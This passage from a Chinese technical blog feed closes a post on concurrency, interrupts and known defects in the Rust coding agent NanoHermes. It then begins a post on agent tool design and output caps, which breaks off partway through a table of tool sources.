这样「提前 <code>?</code> 返回」「panic 展开」两条路径都能把处理器卸干净，不会出现「REPL 已经空闲、Ctrl-C 却仍然只是设标志而不退出」的状态。<code>restore_default()</code> 里还有一个 <code>if prev == 0 { return; }</code> 的保护，防止不配对的 <code>leave</code> 把计数减到负数。
<h2>中断与并发的交叉：Ctrl-C 打断的是哪一层</h2>

把上一节和前面的并发层次对上，中断的实际覆盖面是这样：
<div class="table-scroll"><table>
<thead>
<tr>
<th>层</th>
<th>中断是否生效</th>
<th>原因</th>
</tr>
</thead>
<tbody>
<tr>
<td>主循环</td>
<td>是（边界处）</td>
<td><code>take()</code> 在每轮开头</td>
</tr>
<tr>
<td>工具线程</td>
<td>否</td>
<td><code>execute</code> 里没有检查点</td>
</tr>
<tr>
<td>子代理</td>
<td>否（间接）</td>
<td>内部无检查，父线程 join 时无法打断</td>
</tr>
<tr>
<td>子进程</td>
<td>部分</td>
<td>只有超时能杀，Ctrl-C 不会传导</td>
</tr>
</tbody>
</table></div>

「子进程」这一项值得展开。Ctrl-C 对前台 <code>run_command</code> 的影响分平台：

<strong>Linux 上</strong>，SIGINT 发给整个进程组（终端驱动），所以子进程也会收到——它自己会退出。但 <code>run_command</code> 的主线程正在 25ms 轮询 <code>try_wait()</code>，会看到子进程退出，然后正常返回。所以「命令被 Ctrl-C 打断」这件事，在 Linux 上是子进程自己响应 SIGINT，不是 Agent 杀它。

<strong>Windows 上</strong>，<code>interrupt::install()</code> 直接返回 false（代码里非 Linux 分支就是 <code>false</code>），因为 Windows 没有 <code>sigaction</code> 那一套。Ctrl-C 会走默认处置——<strong>整个进程被杀死</strong>，包括 Agent 本身。所以 Windows 上按 Ctrl-C 不是「打断当前轮次」，而是「退出程序」。这是个平台差异，不是 bug，但必须在文档里写清楚，否则用户会以为对话能保住。

<strong>桌面 GUI 上</strong>，没有终端可以送 SIGINT，所以提供了一条进程内路径：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">request</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">INTERRUPTED</span><span class="p">.</span><span class="n">store</span><span class="p">(</span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


GUI 的「停止」按钮调这个函数，主循环在下一个步骤边界看到标志。所以 GUI 的停止和终端的 Ctrl-C 语义一致，都是「当前步骤做完就停」。
<h2>守护进程：并发为零</h2>

<code>run_daemon</code> 的主循环是这样的：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">stream</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">listener</span><span class="p">.</span><span class="n">incoming</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">stream</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">s</span><span class="p">,</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;accept error: {e}&quot;</span><span class="p">);</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">peer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">stream</span><span class="p">.</span><span class="n">peer_addr</span><span class="p">().</span><span class="n">ok</span><span class="p">();</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">handle_daemon_request</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">agent</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">store</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">stream</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(())</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{}</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* 记日志 */</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<code>listener.incoming()</code> 是一个阻塞迭代器，<code>handle_daemon_request</code> 在<strong>当前线程同步执行</strong>。所以：

<strong>进程级并发是 1。</strong> 第二个请求要等第一个处理完，才能从 backlog 里被 <code>accept</code>。

<strong><code>agent</code> 是 <code>&amp;mut</code>。</strong> 这从类型层面就禁止了并发处理——<code>handle_daemon_request</code> 需要可变借用，两个请求不可能同时持有。

<strong><code>SessionStore</code> 是普通 <code>HashMap</code>。</strong> 它没有 <code>Mutex</code>，因为根本不需要。

这个设计对单用户桌面场景是合理的：你一个人用，一次跑一个任务，不需要并发。但对「多客户端共用一个 daemon」的场景就是瓶颈——两个会话不能同时跑。

为什么仍然能用？因为<strong>真正的并行发生在 Agent 内部</strong>。一个请求处理期间，它内部可能起 4 个子代理、8 个工具线程。所以「进程级并发 1」不等于「同时只有一件事在跑」——一个请求内部可以有很多事同时在跑，只是不能有两个请求同时在跑。

对话隔离的做法是 <code>X-Session-Id</code> 头：
<div class="table-scroll"><table>
<thead>
<tr>
<th>id</th>
<th>消息向量</th>
<th>落盘位置</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default</code></td>
<td><code>store.sessions["default"]</code></td>
<td><code>--session</code> 指定的原路径</td>
</tr>
<tr>
<td>任意其他 id</td>
<td><code>store.sessions[id]</code></td>
<td><code>--session</code> 同目录下的派生文件</td>
</tr>
</tbody>
</table></div>

不同 id 的对话互不可见。但因为处理是串行的，这个隔离是「时间上的隔离」而不是「并发上的隔离」——不需要锁，也不会有竞争。

要支持真并发，最小的改动是把 <code>for stream in incoming()</code> 换成每个连接起一个线程，并把 <code>agent</code> 包进 <code>Arc&lt;Mutex&lt;Agent&gt;&gt;</code>。但那样一来「一个会话一轮跑几分钟」就会阻塞其他会话的模型请求——锁的粒度会变成整个 Agent。更正确的做法是每个会话一个 <code>Agent</code> 实例（<code>SessionStore</code> 里存 <code>Agent</code> 而不是 <code>Vec&lt;Value&gt;</code>），这已经是重构级别的改动。
<h2>为什么单线程 daemon 仍然能用</h2>

上一节的结论可能让人担心「这是不是设计缺陷」。分开看：

<strong>它不是性能瓶颈。</strong> 一个 coding agent 的瓶颈是模型延迟（每次请求几秒到几十秒），不是 CPU。串行处理两个请求的代价是「第二个等第一个」，而如果并行处理，第二个也只是在等模型的 HTTP 响应——总时间几乎一样，只是响应顺序不同。

<strong>它简化了状态。</strong> <code>Agent</code> 里有一个 <code>messages</code> 向量，<code>style</code> 里有一个 <code>UiSink</code>，<code>session</code> 是一个文件路径。这些东西如果并发访问，每一个都要加锁或复制。单线程意味着这些都可以保持「一个请求从头用到尾」的模型。

<strong>它让流式输出变简单。</strong> <code>stream_turn</code> 把 <code>UiSink</code> 装到 Agent 上，这个 sink 会从工具线程里被调用：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">Mutex</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">out</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">sink_out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">out</span><span class="p">);</span>
<span class="n">agent</span><span class="p">.</span><span class="n">set_ui_sink</span><span class="p">(</span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">|</span><span class="n">ev</span><span class="p">:</span><span class="w"> </span><span class="nc">UiEvent</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// 序列化成一行 NDJSON 写进 socket</span>
<span class="p">}));</span>
</code></pre></div>


<code>Arc&lt;Mutex&lt;TcpStream&gt;&gt;</code> 让多个工具线程能并发写同一个连接，每次写一行 JSON。如果同时有两个请求共用这个 Agent，sink 就会指向错误的客户端——这是单线程模型的又一个隐性收益。

所以这个设计的真正边界是：<strong>单用户、单任务、可以串行</strong>。超出这个边界就要重构，但在边界内它是对的。
<h2>七个可以修的缺陷</h2>

把全文提到的缺陷集中起来，按「修起来值不值」排序：
<div class="table-scroll"><table>
<thead>
<tr>
<th>编号</th>
<th>缺陷</th>
<th>严重度</th>
<th>修法</th>
<th>工作量</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>后台任务 stderr 从未读走</td>
<td>高（任务永久卡住）</td>
<td>起线程排空 stderr</td>
<td>20 行</td>
</tr>
<tr>
<td>2</td>
<td><code>task_output</code> 在锁里阻塞读到 EOF</td>
<td>高（冻结整个任务表）</td>
<td>读移到线程，锁里只拷贝</td>
<td>40 行</td>
</tr>
<tr>
<td>3</td>
<td>子代理的 <code>allowed_tools</code> 不参与执行检查</td>
<td>高（安全边界失效）</td>
<td>执行前按白名单校验</td>
<td>30 行</td>
</tr>
<tr>
<td>4</td>
<td>子代理内部不检查中断</td>
<td>中（Ctrl-C 延迟可达分钟级）</td>
<td>循环开头加 <code>peek()</code></td>
<td>10 行</td>
</tr>
<tr>
<td>5</td>
<td>门在登记之后，排队状态显示成 running</td>
<td>中（任务板误导）</td>
<td>加 <code>Queued</code> 状态 + <code>mark_running</code></td>
<td>20 行</td>
</tr>
<tr>
<td>6</td>
<td>工具线程数无上限</td>
<td>中（资源耗尽 + 上下文爆炸）</td>
<td>线程上限 + 批次输出预算</td>
<td>30 行</td>
</tr>
<tr>
<td>7</td>
<td>并发审批共用 stdin</td>
<td>中（提示交错、答案错配）</td>
<td>全局锁包住 <code>confirm()</code></td>
<td>5 行</td>
</tr>
</tbody>
</table></div>

前三个是「会在真实使用中造成可见故障」的，后四个是「在特定条件下出问题」的。

值得注意排序里第 7 项：修法只要 5 行（加一把 <code>Mutex&lt;()&gt;</code> 包住 <code>confirm</code>），是投入产出比最高的一项。而第 1、2 项虽然工作量也不大，但它们需要改数据结构（<code>Task</code> 里要加 <code>Arc&lt;Mutex&lt;Vec&lt;u8&gt;&gt;&gt;</code>），会影响 <code>output</code>、<code>list</code>、<code>kill</code> 三个方法。

还有一个不在表里的隐性缺陷：<strong>Mutex 中毒</strong>。所有 <code>.lock().unwrap()</code> 在持锁线程 panic 后都会连锁失败。它不在表里，因为触发概率低，但如果触发，后果是「功能永久失效」而不是「一次失败」。改法是 <code>.unwrap_or_else(|e| e.into_inner())</code>，或者换 <code>parking_lot</code>。
<h2>怎么验证并发真的正确</h2>

并发代码的验证不能靠「跑一遍没崩」。NanoHermes 的做法是一个专门的测试模块：
<div class="codehilite"><pre><span></span><code><span class="sd">/// 并发工具调用路径的线程安全测试。`run()` 为每个 `tool_call` 起一个</span>
<span class="sd">/// 作用域线程，全部共享 `&amp;Agent` 并调用 `execute()`。这些测试直接走</span>
<span class="sd">/// 那条路径，带 MCP 和不带 MCP 各一份。这样数据竞争会在这里暴露，</span>
<span class="sd">/// 而不是在生产环境。</span>
<span class="cp">#[cfg(test)]</span>
<span class="k">mod</span><span class="w"> </span><span class="nn">concurrency_tests</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="p">}</span>
</code></pre></div>


两个测试，覆盖两类风险：

<strong>第一类：内置工具的共享状态。</strong> 10 组线程，每组三个工具（<code>list_dir</code>、<code>glob</code>、<code>read_file</code>），共 30 个线程同时跑。验证的是「<code>Ctx</code> 里没有被锁保护的可变状态」。

<strong>第二类：MCP 与内置工具混合。</strong> 8 个并发的 MCP <code>echo</code>、3 个 MCP 辅助工具（资源、prompt）、2 个内置工具。这一组专门验证 MCP 的 <code>Arc&lt;Mutex&lt;ChildStdin&gt;&gt;</code> 和 <code>Arc&lt;Mutex&lt;HashMap&lt;u64, Sender&gt;&gt;&gt;</code> 在并发下是否正确配对——8 个并发请求各自期待自己的响应，任何一个 id 错配都会让 <code>echo-3</code> 拿到 <code>echo-7</code> 的结果，断言立刻失败。

第三个测试是 <code>Gate</code> 本身：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">gate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">Gate</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">concurrent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">AtomicUsize</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">peak</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">AtomicUsize</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="c1">// 6 个线程抢 2 个许可，记录历史峰值</span>
<span class="fm">assert!</span><span class="p">(</span><span class="n">peak</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">)</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;peak was {}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">peak</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">));</span>
<span class="fm">assert_eq!</span><span class="p">(</span><span class="o">*</span><span class="n">gate</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">(),</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;all permits released&quot;</span><span class="p">);</span>
</code></pre></div>


它验证两件事：峰值不超过上限（门有效），结束后计数归零（许可都还了）。第二条尤其重要——如果某个路径忘了还许可，测试会在最后一步失败，而不是等到线上「越跑越卡」。

这套测试的局限要说清楚：
<div class="table-scroll"><table>
<thead>
<tr>
<th>局限</th>
<th>后果</th>
<th>补充手段</th>
</tr>
</thead>
<tbody>
<tr>
<td>靠运气撞竞争</td>
<td>可能全部通过但仍有竞争</td>
<td>加大线程数、循环多次</td>
</tr>
<tr>
<td>不做内存序检测</td>
<td>无法发现微弱的顺序问题</td>
<td>用 <code>-Z sanitizer=thread</code> 或 Miri</td>
</tr>
<tr>
<td>不模拟 panic</td>
<td>锁中毒路径未覆盖</td>
<td>专门的 panic 注入测试</td>
</tr>
</tbody>
</table></div>

更严格的手段是 <strong>Loom</strong>——它穷举所有线程交错，能在几秒钟内找到竞争。代价是要把标准库的 <code>Mutex</code>/<code>Condvar</code> 换成 Loom 的等价物（通过 <code>cfg</code> 切换），代码会变丑。对这个项目，Loom 的收益不足以抵消侵入性，但值得知道它的存在。

实用建议：把并发测试放在单独的 <code>mod</code> 里，用 <code>--test-threads=1</code> 跑一遍（串行执行测试，减少相互干扰），再用默认并发跑一遍。两遍都过，比跑一遍更有信息量。
<h2>并发设计的六条原则</h2>

把这篇文章的观察压缩成六条，可以直接用在别的项目上。

<strong>第一，先划分并行区，再谈并行度。</strong> NanoHermes 的并行区只有「一次工具批次执行」，边界清晰到可以用一个 <code>scope</code> 括起来。并行区之外的任何状态都天然安全。反过来，如果并行区边界模糊（比如「任何时候都可以并发」），你就必须给每一份状态都加锁，复杂度直接翻倍。

<strong>第二，用 join 屏障消灭锁。</strong> 因为主线程在屏障上等，<code>messages</code> 在整个并行期间只读，所以不需要锁。这是「用等待换简单」的交易：牺牲一点延迟（等最慢的线程），换掉一整类同步问题。

<strong>第三，任何持锁期间的 I/O 都是错的。</strong> <code>TaskManager</code> 的两个缺陷都是这一条的违例。锁的临界区只能有内存操作；I/O 要么放到线程里，要么改成非阻塞加轮询。

<strong>第四，有界并发必须用 RAII 还许可。</strong> <code>GateGuard</code> 的 <code>Drop</code> 覆盖了所有返回路径，包括 panic。手写 <code>release()</code> 一定会漏一条路径，而且漏的那条通常是异常路径——也就是最难测的那条。

<strong>第五，中断点越少，语义越清楚。</strong> 只在一个地方检查中断，换来的是「历史永远一致」。代价是最坏延迟，可以用超时和两阶段中断来缓解。反过来，「到处都能中断」的实现在 Agent 场景里几乎一定会在历史里留下半截状态。

<strong>第六，上下限要分别设计。</strong> 子代理有上限（4），工具线程没有；单个工具输出有上限（20,000 字节），批次总量没有。有上限的地方防的是资源耗尽，没上限的地方靠的是「经验上不会太多」。后者迟早会被一个提示词改动打破，所以要显式检查。
<h2>小结：并行是边界问题，不是性能问题</h2>

回到开头那句话：Agent 做并发，首要目标不是快。

这篇拆下来，真正有价值的不是「怎么起线程」——那只有十几行——而是<strong>边界在哪</strong>：
<ul>
<li>哪些状态可以在并行区被修改（<code>Ctx</code> 里的五把锁）</li>
<li>哪些操作有界（子代理 4 个，命令 120 秒，MCP 请求 60 秒）</li>
<li>哪些操作无界（工具线程数，批次输出总量，子代理轮次）</li>
<li>哪些语义在并行下会坏掉（同文件的两个 <code>edit_file</code>，两个 <code>todo_write</code>，两条要审批的命令）</li>
<li>哪些延迟是设计内的（中断只在步骤边界生效，最长等一个完整步骤）</li>
</ul>

NanoHermes 的实现不完美——本文列了七个可以修的缺陷，其中两个（后台任务的 stderr 和锁内阻塞读）会让功能真的卡死。但它的骨架是对的：一个清晰的并行区、一个 join 屏障、一个 RAII 计数的门、一个只检查一处的中断点。这四样东西加起来不到 60 行，却撑起了整个并发模型。

不用 async 运行时不是一个宗教立场，而是一个成本核算：对这个项目，线程加屏障的总成本（几十微秒的创建开销、一个 2 MiB 的虚拟栈、无法中途取消）远小于引入一整套异步生态的成本（依赖树、跨 <code>await</code> 的状态、<code>Send</code> 检查的复杂度）。换一个场景——比如需要维持上万条长连接——这个核算就会反过来。

下一篇进入安全：让它跑命令，而不失控。并发解决的是「几件事同时做」，安全解决的是「这几件事能做什么」——两者在 <code>needs_approval</code> 那一行代码上相交，而那正是本文第 7 个缺陷所在的位置。]]></content:encoded>
    </item>
    <item>
      <title>Agent 工具设计：为什么输出都要有上限</title>
      <link>https://zhoujungis.github.io/article/agent-tool-design-output-budgets/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-tool-design-output-budgets/</guid>
      <pubDate>Thu, 22 Oct 2026 06:27:36 GMT</pubDate>
      <description>适用读者：正在给 Agent 加工具、发现「加了工具反而更容易崩」的人；被一次 cat 大文件或一条刷屏命令撑爆上下文的人；想让工具集可维护、可审计的人 结论先行：工具设计有三层契约——拓扑（有哪些工具）、形状（参数与描述）、预算（输出上限）。前两层决定模型「能不能用对」，第三层决定它「用了之后会不会把上下文搞坏」。N</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>工具设计</category>
      <category>架构设计</category>
      <content:encoded><![CDATA[<blockquote>

适用读者：正在给 Agent 加工具、发现「加了工具反而更容易崩」的人；被一次 <code>cat</code> 大文件或一条刷屏命令撑爆上下文的人；想让工具集可维护、可审计的人
结论先行：工具设计有三层契约——拓扑（有哪些工具）、形状（参数与描述）、预算（输出上限）。前两层决定模型「能不能用对」，第三层决定它「用了之后会不会把上下文搞坏」。NanoHermes 的答案是：每个工具自己封顶，再加一道全局兜底 <code>clamp(s, 20_000)</code>
阅读时间：约 52 分钟 | 难度：进阶 | 收获：24 个工具的完整清单与三层契约 + 十三个输出上限的取值理由 + 截断的三种语义 + 工具设计的八条原则 + 九个会悄悄失效的陷阱
</blockquote>

<strong>目录</strong>
<ul>
<li>前言：工具的边界就是 Agent 的边界</li>
<li>结论先行：三层契约</li>
<li>第一层拓扑：24 个工具从哪来</li>
<li>工具为什么会自己变多：skill、MCP、subagent</li>
<li>第二层形状：JSON schema 是唯一接口</li>
<li>描述文本也是契约：一句描述要说清三件事</li>
<li>参数校验的第一道门</li>
<li>第三层预算：为什么输出必须封顶</li>
<li>三个无限来源</li>
<li>一张总表：十三个上限</li>
<li>统一出口：dispatch 末尾的 clamp</li>
<li>clamp 的注释与实现不一致：字符还是字节</li>
<li>截断的三种语义：拒绝、截断、丢弃</li>
<li>read_file：4 MB 的准入门与 2000 行的窗口</li>
<li>read_file 的三个细节：行号宽度、lossy 解码、二进制</li>
<li>grep：200 条命中与 240 字符裁剪</li>
<li>grep 没有文件数上限</li>
<li>glob：500 个文件与一条假消息</li>
<li>list_dir：唯一没有上限的读取工具</li>
<li>run_command：256 KB × 2 与超时</li>
<li>双线程排空：为什么不能先 wait 再 read</li>
<li>后台任务：把长命令移出关键路径</li>
<li>后台任务的一个真实缺陷：stderr 从未被读走</li>
<li>web_fetch：2 MB 与 20,000 字符</li>
<li>skill 与项目文档：同样吃预算</li>
<li>错误即结果：Err(String) 的另一半价值</li>
<li>审批与确认：哪些工具默认要问</li>
<li>只读工具会跳过哪些目录</li>
<li>输出顺序：稳定排序为什么重要</li>
<li>工具的隐性成本：token、选择困难与误用</li>
<li>工具设计八条原则</li>
<li>九个常见陷阱</li>
<li>怎么验证你的工具真的安全</li>
<li>小结：上限是设计，不是补丁</li>
</ul>
<h2>前言：工具的边界就是 Agent 的边界</h2>

一个 Agent 能做什么，不取决于它的模型多聪明，而取决于它手里有哪些工具。工具集决定了能力的上界：没有 <code>edit_file</code>，它就没法改代码；没有 <code>run_command</code>，它就没法跑测试；没有 <code>web_fetch</code>，它就没法读文档。

但工具集也决定了失败的下界。一个只做读取的工具如果返回 3 MB 文本，这一轮对话就废了——不是模型答不上来，而是返回的内容把上下文挤满，后面的工具结果无处安放。这种失败比「模型答错」更隐蔽：模型会把截断后的半截内容当成全部，基于不完整的信息自信地给结论。

所以工具设计不只是「写几个函数 + 一份 JSON schema」，真正要处理的是三层问题：给模型看什么工具（拓扑）、让它怎么调用（形状）、调用回来多少数据（预算）。NanoHermes 的工具层不到 1200 行，但每一层都有明确设计，本文按这三层拆开讲。
<h2>结论先行：三层契约</h2>
<div class="table-scroll"><table>
<thead>
<tr>
<th>层次</th>
<th>载体</th>
<th>出错后的症状</th>
<th>本文对应章节</th>
</tr>
</thead>
<tbody>
<tr>
<td>拓扑</td>
<td><code>build_tools</code> 返回的数组</td>
<td>模型用了不存在的工具，或该有的能力没有</td>
<td>24 个工具从哪来</td>
</tr>
<tr>
<td>形状</td>
<td><code>specs()</code> 里的 name / description / parameters</td>
<td>参数传错、描述误导、反复试错</td>
<td>JSON schema 是唯一接口</td>
</tr>
<tr>
<td>预算</td>
<td>每个工具的内部上限 + <code>clamp</code></td>
<td>上下文被一次工具调用撑爆</td>
<td>十三个上限</td>
</tr>
<tr>
<td>错误</td>
<td><code>Result&lt;String, String&gt;</code></td>
<td>一旦出错整个轮次中断</td>
<td>错误即结果</td>
</tr>
<tr>
<td>权限</td>
<td><code>check_tool</code> + 审批策略</td>
<td>危险操作无人确认，或安全模式下改坏文件</td>
<td>审批与确认</td>
</tr>
</tbody>
</table></div>

五层里，只有「预算」这一层是绝大多数教程不讲、但线上事故最多的一层。因为拓扑和形状错了会立刻报错，预算错了不会报错——它只是悄悄让模型看到半截数据。
<h2>第一层拓扑：24 个工具从哪来</h2>

工具列表不是硬编码的一整个数组，而是拼出来的：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">build_tools</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Value</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">list</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">tools</span><span class="p">::</span><span class="n">specs</span><span class="p">().</span><span class="n">as_array</span><span class="p">().</span><span class="n">cloned</span><span class="p">().</span><span class="n">unwrap_or_default</span><span class="p">();</span>
<span class="w">    </span><span class="c1">// 只有真的发现了 skill 才把 skill 工具暴露出去。</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">skills</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">list</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">skill_tool_spec</span><span class="p">());</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="bp">self</span><span class="p">.</span><span class="n">mcp</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">list</span><span class="p">.</span><span class="n">extend</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">all_tools</span><span class="p">());</span>
<span class="w">        </span><span class="n">list</span><span class="p">.</span><span class="n">extend</span><span class="p">(</span><span class="n">mcp_aux_tools</span><span class="p">());</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 丢掉当前配置不允许的工具。</span>
<span class="w">    </span><span class="n">list</span><span class="p">.</span><span class="n">retain</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* cfg.check_tool(name).is_ok() */</span><span class="w"> </span><span class="p">});</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">subagents</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">list</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">subagent_tool_spec</span><span class="p">());</span>
<span class="w">        </span><span class="n">list</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">agent_list_tool_spec</span><span class="p">());</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="n">Value</span><span class="p">::</span><span class="n">Array</span><span class="p">(</span><span class="n">list</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


<code>specs()</code> 里有 21 个内置工具，按用途分成六组：
<div class="table-scroll"><table>
<thead>
<tr>
<th>分组</th>
<th>工具</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>文件读写</td>
<td><code>read_file</code>、<code>write_file</code>、<code>edit_file</code>、<code>apply_patch</code>、<code>list_dir</code></td>
<td>五个，覆盖「看、整体写、局部改、多处改、列目录」</td>
</tr>
<tr>
<td>搜索</td>
<td><code>grep</code>、<code>glob</code></td>
<td>内容搜索与文件名搜索</td>
</tr>
<tr>
<td>执行</td>
<td><code>run_command</code>、<code>task_output</code>、<code>task_list</code>、<code>task_kill</code></td>
<td>一个前台加三个后台管理</td>
</tr>
<tr>
<td>网络</td>
<td><code>web_fetch</code>、<code>web_search</code></td>
<td>拉页面与搜结果</td>
</tr>
<tr>
<td>状态</td>
<td><code>todo_write</code>、<code>todo_read</code></td>
<td>会话内的计划列表</td>
</tr>
<tr>
<td>版本控制</td>
<td><code>git_status</code>、<code>git_diff</code>、<code>git_log</code>、<code>git_commit</code></td>
<td>三个只读加一个写入</td>
</tr>
<tr>
<td>记忆</td>
<td><code>memory_save</code>、<code>memory_search</code></td>
<td>跨会话记忆的读写</td>
</tr>
</tbody>
</table></div>

再加三个条件性的：<code>skill</code>（发现技能才加）、<code>subagent</code> 与 <code>agent_list</code>（配置了子代理才加）。MCP 服务器还会动态并入自己的工具，以及四个辅助工具 <code>mcp_list_resources</code>、<code>mcp_read_resource</code>、<code>mcp_list_prompts</code>、<code>mcp_get_prompt</code>。

拼装顺序是先内置、再 skill、再 MCP、最后子代理，这决定了工具在提示词里的先后，而模型对靠前的工具往往更顺手。内置排最前是合理的——它们最可靠、不依赖外部。
<h2>工具为什么会自己变多：skill、MCP、subagent</h2>

一个容易忽略的事实：工具数量不是常量。同一个二进制，在不同工作区、不同配置下，暴露的工具可能差出十几个。
<div class="table-scroll"><table>
<thead>
<tr>
<th>来源</th>
<th>触发条件</th>
<th>增量</th>
<th>谁在控制</th>
</tr>
</thead>
<tbody>
<tr>
<td>内置</td>
<td>永远</td>
<td>21</td>
<td>代码</td>
</tr>
<tr>
<td><code>skill</code></td>
<td>发现至少一个技能</td>
<td>+1</td>
<td>工作区里的技能目录</td>
</tr>
<tr>
<td>MCP</td>
<td>配了 MCP 服务器</td>
